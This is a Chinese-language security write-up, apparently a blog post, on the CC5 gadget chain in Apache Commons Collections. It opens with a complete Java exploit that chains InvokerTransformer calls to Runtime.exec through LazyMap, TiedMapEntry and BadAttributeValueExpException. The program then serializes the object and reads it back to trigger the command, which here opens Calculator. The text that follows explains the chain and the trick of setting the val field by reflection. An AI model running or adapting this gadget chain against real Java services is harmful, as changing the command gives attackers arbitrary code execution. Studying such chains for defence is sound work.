CC5
完整 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC5 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, map);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class badAttributeValueExpExceptionClass = BadAttributeValueExpException.class; Field badAttributeValueExpExceptionField = BadAttributeValueExpException.class.getDeclaredField("val"); badAttributeValueExpExceptionField.setAccessible(true); badAttributeValueExpExceptionField.set(badAttributeValueExpException, tiedMapEntry);
serialize(badAttributeValueExpException); deserialize(); }
public static void serialize (Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectOutputStream.writeObject(object); }
public static void deserialize () throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectInputStream.readObject(); } }
|
EXP构造逻辑
1、CC5调用利用的是 LazyMap类中的 get方法来调用 chainedTrsformer.transform来进行命令执行。根据分析 CC6时的经验,TiedMapEntry.getValue方法可以用来调用 LazyMap.get:

但是 CC5并非像 CC6中利用 hashCode方法来调用 getValue,而是用 toString方法:

2、toString方法可以在 BadAttributeValueExpException.readObject中被调用:

val值可控,在构造函数中赋值:

根据上述逻辑,这条链子基本齐了:
1 2 3 4
| BadAttributeValueExpException.readObject TiedMapEntry.toString LazyMap.get .....命令执行
|
构造注意点
使用构造函数给 val赋值的时候,若 val不为 null,则会先调用一次 val.toString,提前命令执行。这和 CC6中的 HashMap.put提前触发命令执行的逻辑很像。

但是 CC5不能采取 CC6的处理方式,因为 readObject中对 valObj的类型进行了判断,如果是 String类型,就不会触发 valObj.toString:

故解决方案是先将 val赋值为 null,在构造函数中不调用 toString,再利用发射给 val赋值:
1 2 3 4 5
| BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class badAttributeValueExpExceptionClass = BadAttributeValueExpException.class; Field badAttributeValueExpExceptionField = BadAttributeValueExpException.class.getDeclaredField("val"); badAttributeValueExpExceptionField.setAccessible(true); badAttributeValueExpExceptionField.set(badAttributeValueExpException, tiedMapEntry);
|
利用链流程图
